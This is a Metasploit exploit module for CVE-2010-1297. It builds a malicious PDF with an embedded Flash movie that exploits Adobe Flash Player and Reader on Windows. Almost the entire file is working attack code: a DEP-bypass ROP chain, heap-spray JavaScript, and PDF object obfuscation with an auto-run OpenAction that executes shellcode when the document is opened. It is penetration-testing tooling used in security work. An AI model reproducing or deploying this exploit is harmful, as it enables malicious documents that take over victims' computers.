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metasploit-gs/modules/exploits/windows/fileformat/adobe_flashplayer_newfunction.rb
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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
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##
require 'msf/core'
require 'zlib'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::FILEFORMAT
def initialize(info = {})
super(update_info(info,
'Name' => 'Adobe Flash Player "newfunction" Invalid Pointer Use',
'Description' => %q{
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This module exploits a vulnerability in the DoABC tag handling within
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versions 9.x and 10.0 of Adobe Flash Player. Adobe Reader and Acrobat are also
vulnerable, as are any other applications that may embed Flash player.
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Arbitrary code execution is achieved by embedding a specially crafted Flash
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movie into a PDF document. An AcroJS heap spray is used in order to ensure
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that the memory used by the invalid pointer issue is controlled.
NOTE: This module uses a similar DEP bypass method to that used within the
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adobe_libtiff module. This method is unlikely to work across various
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Windows versions due a the hardcoded syscall number.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Unknown', # Found being openly exploited
'jduck' # Metasploit version
],
'References' =>
[
['CVE', '2010-1297'],
['OSVDB', '65141'],
['BID', '40586'],
['URL', 'http://www.adobe.com/support/security/advisories/apsa10-01.html'],
# For SWF->PDF embedding
['URL', 'http://feliam.wordpress.com/2010/02/11/flash-on-a-pdf-with-minipdf-py/']
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
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'InitialAutoRunScript' => 'migrate -f',
'DisablePayloadHandler' => 'true',
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},
'Payload' =>
{
'Space' => 1000,
'BadChars' => "\x00",
'DisableNops' => true
},
'Platform' => 'win',
'Targets' =>
[
# Tested OK via Adobe Reader 9.3.0 on Windows XP SP3 (uses flash 10.0.42.34) -jjd
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# Tested OK via Adobe Reader 9.3.1 on Windows XP SP3 (uses flash 10.0.45.2) -jjd
# Tested OK via Adobe Reader 9.3.2 on Windows XP SP3 (uses flash 10.0.45.2) -jjd
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[ 'Automatic', { }],
],
'DisclosureDate' => 'Jun 04 2010',
'DefaultTarget' => 0))
register_options(
[
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OptString.new('FILENAME', [ true, 'The file name.', 'msf.pdf']),
], self.class)
end
def exploit
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swf_data = make_swf()
js_data = make_js(payload.encoded)
# Create the pdf
pdf = make_pdf(swf_data, js_data)
print_status("Creating '#{datastore['FILENAME']}' file...")
file_create(pdf)
end
def make_swf
# load the static swf file
path = File.join( Msf::Config.install_root, "data", "exploits", "CVE-2010-1297.swf" )
fd = File.open( path, "rb" )
swf_data = fd.read(fd.stat.size)
fd.close
swf_data
end
def make_js(encoded_payload)
# The following executes a ret2lib using BIB.dll
# The effect is to bypass DEP and execute the shellcode in an indirect way
stack_data = [
0xc0c0c0c,
0x7004919, # pop ecx / pop ecx / mov [eax+0xc0],1 / pop esi / pop ebx / ret
0xcccccccc,
0x70048ef, # xchg eax,esp / ret
0x700156f, # mov eax,[ecx+0x34] / push [ecx+0x24] / call [eax+8]
0xcccccccc,
0x7009084, # ret
0x7009084, # ret
0x7009084, # ret
0x7009084, # ret
0x7009084, # ret
0x7009084, # ret
0x7009033, # ret 0x18
0x7009084, # ret
0xc0c0c0c,
0x7009084, # ret
0x7009084, # ret
0x7009084, # ret
0x7009084, # ret
0x7009084, # ret
0x7009084, # ret
0x7009084, # ret
0x7009084, # ret
0x7001599, # pop ebp / ret
0x10124,
0x70072f7, # pop eax / ret
0x10104,
0x70015bb, # pop ecx / ret
0x1000,
0x700154d, # mov [eax], ecx / ret
0x70015bb, # pop ecx / ret
0x7ffe0300, # -- location of KiFastSystemCall
0x7007fb2, # mov eax, [ecx] / ret
0x70015bb, # pop ecx / ret
0x10011,
0x700a8ac, # mov [ecx], eax / xor eax,eax / ret
0x70015bb, # pop ecx / ret
0x10100,
0x700a8ac, # mov [ecx], eax / xor eax,eax / ret
0x70072f7, # pop eax / ret
0x10011,
0x70052e2, # call [eax] / ret -- (KiFastSystemCall - VirtualAlloc?)
0x7005c54, # pop esi / add esp,0x14 / ret
0xffffffff,
0x10100,
0x0,
0x10104,
0x1000,
0x40,
# The next bit effectively copies data from the interleaved stack to the memory
# pointed to by eax
# The data copied is:
# \x5a\x90\x54\x90\x5a\xeb\x15\x58\x8b\x1a\x89\x18\x83\xc0\x04\x83
# \xc2\x04\x81\xfb\x0c\x0c\x0c\x0c\x75\xee\xeb\x05\xe8\xe6\xff\xff
# \xff\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xff\xff\xff\x90
0x700d731, # mov eax, [ebp-0x24] / ret
0x70015bb, # pop ecx / ret
0x9054905a,
0x700154d, # mov [eax], ecx / ret
0x700a722, # add eax, 4 / ret
0x70015bb, # pop ecx / ret
0x5815eb5a,
0x700154d, # mov [eax], ecx / ret
0x700a722, # add eax, 4 / ret
0x70015bb, # pop ecx / ret
0x18891a8b,
0x700154d, # mov [eax], ecx / ret
0x700a722, # add eax, 4 / ret
0x70015bb, # pop ecx / ret
0x8304c083,
0x700154d, # mov [eax], ecx / ret
0x700a722, # add eax, 4 / ret
0x70015bb, # pop ecx / ret
0xfb8104c2,
0x700154d, # mov [eax], ecx / ret
0x700a722, # add eax, 4 / ret
0x70015bb, # pop ecx / ret
0xc0c0c0c,
0x700154d, # mov [eax], ecx / ret
0x700a722, # add eax, 4 / ret
0x70015bb, # pop ecx / ret
0x5ebee75,
0x700154d, # mov [eax], ecx / ret
0x700a722, # add eax, 4 / ret
0x70015bb, # pop ecx / ret
0xffffe6e8,
0x700154d, # mov [eax], ecx / ret
0x700a722, # add eax, 4 / ret
0x70015bb, # pop ecx / ret
0x909090ff,
0x700154d, # mov [eax], ecx / ret
0x700a722, # add eax, 4 / ret
0x70015bb, # pop ecx / ret
0x90909090,
0x700154d, # mov [eax], ecx / ret
0x700a722, # add eax, 4 / ret
0x70015bb, # pop ecx / ret
0x90909090,
0x700154d, # mov [eax], ecx / ret
0x700a722, # add eax, 4 / ret
0x70015bb, # pop ecx / ret
0x90ffffff,
0x700154d, # mov [eax], ecx / ret
0x700d731, # mov eax, [ebp-0x24] / ret
0x700112f # call eax -- (execute stub to transition to full shellcode)
].pack('V*')
var_unescape = rand_text_alpha(rand(100) + 1)
var_shellcode = rand_text_alpha(rand(100) + 1)
var_start = rand_text_alpha(rand(100) + 1)
var_s = 0x10000
var_c = rand_text_alpha(rand(100) + 1)
var_b = rand_text_alpha(rand(100) + 1)
var_d = rand_text_alpha(rand(100) + 1)
var_3 = rand_text_alpha(rand(100) + 1)
var_i = rand_text_alpha(rand(100) + 1)
var_4 = rand_text_alpha(rand(100) + 1)
payload_buf = ''
payload_buf << stack_data
payload_buf << encoded_payload
escaped_payload = Rex::Text.to_unescape(payload_buf)
js = %Q|
var #{var_unescape} = unescape;
var #{var_shellcode} = #{var_unescape}( '#{escaped_payload}' );
var #{var_c} = #{var_unescape}( "%" + "u" + "0" + "c" + "0" + "c" + "%u" + "0" + "c" + "0" + "c" );
while (#{var_c}.length + 20 + 8 < #{var_s}) #{var_c}+=#{var_c};
#{var_b} = #{var_c}.substring(0, (0x0c0c-0x24)/2);
#{var_b} += #{var_shellcode};
#{var_b} += #{var_c};
#{var_d} = #{var_b}.substring(0, #{var_s}/2);
while(#{var_d}.length < 0x80000) #{var_d} += #{var_d};
#{var_3} = #{var_d}.substring(0, 0x80000 - (0x1020-0x08) / 2);
var #{var_4} = new Array();
for (#{var_i}=0;#{var_i}<0x1f0;#{var_i}++) #{var_4}[#{var_i}]=#{var_3}+"s";
|
js
end
def RandomNonASCIIString(count)
result = ""
count.times do
result << (rand(128) + 128).chr
end
result
end
def ioDef(id)
"%d 0 obj\n" % id
end
def ioRef(id)
"%d 0 R" % id
end
#http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
def nObfu(str)
result = ""
str.scan(/./u) do |c|
if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'
result << "#%x" % c.unpack("C*")[0]
else
result << c
end
end
result
end
def ASCIIHexWhitespaceEncode(str)
result = ""
whitespace = ""
str.each_byte do |b|
result << whitespace << "%02x" % b
whitespace = " " * (rand(3) + 1)
end
result << ">"
end
def make_pdf(swf, js)
swf_name = rand_text_alpha(8 + rand(8)) + ".swf"
xref = []
eol = "\n"
endobj = "endobj" << eol
# Randomize PDF version?
pdf = "%PDF-1.5" << eol
#pdf << "%" << RandomNonASCIIString(4) << eol
# catalog
xref << pdf.length
pdf << ioDef(1) << nObfu("<</Type/Catalog")
pdf << nObfu("/Pages ") << ioRef(3)
pdf << nObfu("/OpenAction ") << ioRef(5)
pdf << nObfu(">>")
pdf << eol << endobj
# pages array
xref << pdf.length
pdf << ioDef(3) << nObfu("<</Type/Pages/Count 1/Kids [") << ioRef(4) << nObfu("]>>") << eol << endobj
# page 1
xref << pdf.length
pdf << ioDef(4) << nObfu("<</Type/Page/Parent ") << ioRef(3)
pdf << nObfu("/Annots [") << ioRef(7) << nObfu("] ")
pdf << nObfu(">>")
pdf << eol << endobj
# js action
xref << pdf.length
pdf << ioDef(5) << nObfu("<</Type/Action/S/JavaScript/JS ") + ioRef(6) + ">>" << eol << endobj
# js stream
xref << pdf.length
compressed = Zlib::Deflate.deflate(ASCIIHexWhitespaceEncode(js))
pdf << ioDef(6) << nObfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol
pdf << "stream" << eol
pdf << compressed << eol
pdf << "endstream" << eol
pdf << endobj
# swf annotation object
xref << pdf.length
pdf << ioDef(7) << nObfu("<</Type/Annot/Subtype/RichMedia")
pdf << nObfu("/Rect [20 20 187 69] ")
pdf << nObfu("/RichMediaSettings ") << ioRef(8)
pdf << nObfu("/RichMediaContent ") << ioRef(9)
pdf << nObfu("/NM (") << swf_name << nObfu(")")
pdf << nObfu(">>")
pdf << eol << endobj
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# rich media settings
xref << pdf.length
pdf << ioDef(8)
pdf << nObfu("<</Type/RichMediaSettings/Subtype/Flash")
pdf << nObfu("/Activation ") << ioRef(10)
pdf << nObfu("/Deactivation ") << ioRef(11)
pdf << nObfu(">>")
pdf << eol << endobj
# rich media content
xref << pdf.length
pdf << ioDef(9)
pdf << nObfu("<</Type/RichMediaContent")
pdf << nObfu("/Assets ") << ioRef(12)
pdf << nObfu("/Configurations [") << ioRef(14) << "]"
pdf << nObfu(">>")
pdf << eol << endobj
# rich media activation / deactivation
xref << pdf.length
pdf << ioDef(10)
pdf << nObfu("<</Type/RichMediaActivation/Condition/PO>>")
pdf << eol << endobj
xref << pdf.length
pdf << ioDef(11)
pdf << nObfu("<</Type/RichMediaDeactivation/Condition/XD>>")
pdf << eol << endobj
# rich media assets
xref << pdf.length
pdf << ioDef(12)
pdf << nObfu("<</Names [(#{swf_name}) ") << ioRef(13) << nObfu("]>>")
pdf << eol << endobj
# swf embeded file ref
xref << pdf.length
pdf << ioDef(13)
pdf << nObfu("<</Type/Filespec /EF <</F ") << ioRef(16) << nObfu(">> /F(#{swf_name})>>")
pdf << eol << endobj
# rich media configuration
xref << pdf.length
pdf << ioDef(14)
pdf << nObfu("<</Type/RichMediaConfiguration/Subtype/Flash")
pdf << nObfu("/Instances [") << ioRef(15) << nObfu("]>>")
pdf << eol << endobj
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# rich media isntance
xref << pdf.length
pdf << ioDef(15)
pdf << nObfu("<</Type/RichMediaInstance/Subtype/Flash")
pdf << nObfu("/Asset ") << ioRef(13)
pdf << nObfu(">>")
pdf << eol << endobj
# swf stream
# NOTE: This data is already compressed, no need to compress it again...
xref << pdf.length
pdf << ioDef(16) << nObfu("<</Type/EmbeddedFile/Length %s>>" % swf.length) << eol
pdf << "stream" << eol
pdf << swf << eol
pdf << "endstream" << eol
pdf << endobj
# trailing stuff
xrefPosition = pdf.length
pdf << "xref" << eol
pdf << "0 %d" % (xref.length + 1) << eol
pdf << "0000000000 65535 f" << eol
xref.each do |index|
pdf << "%010d 00000 n" % index << eol
end
pdf << "trailer" << eol
pdf << nObfu("<</Size %d/Root " % (xref.length + 1)) << ioRef(1) << ">>" << eol
pdf << "startxref" << eol
pdf << xrefPosition.to_s() << eol
pdf << "%%EOF" << eol
pdf
end
end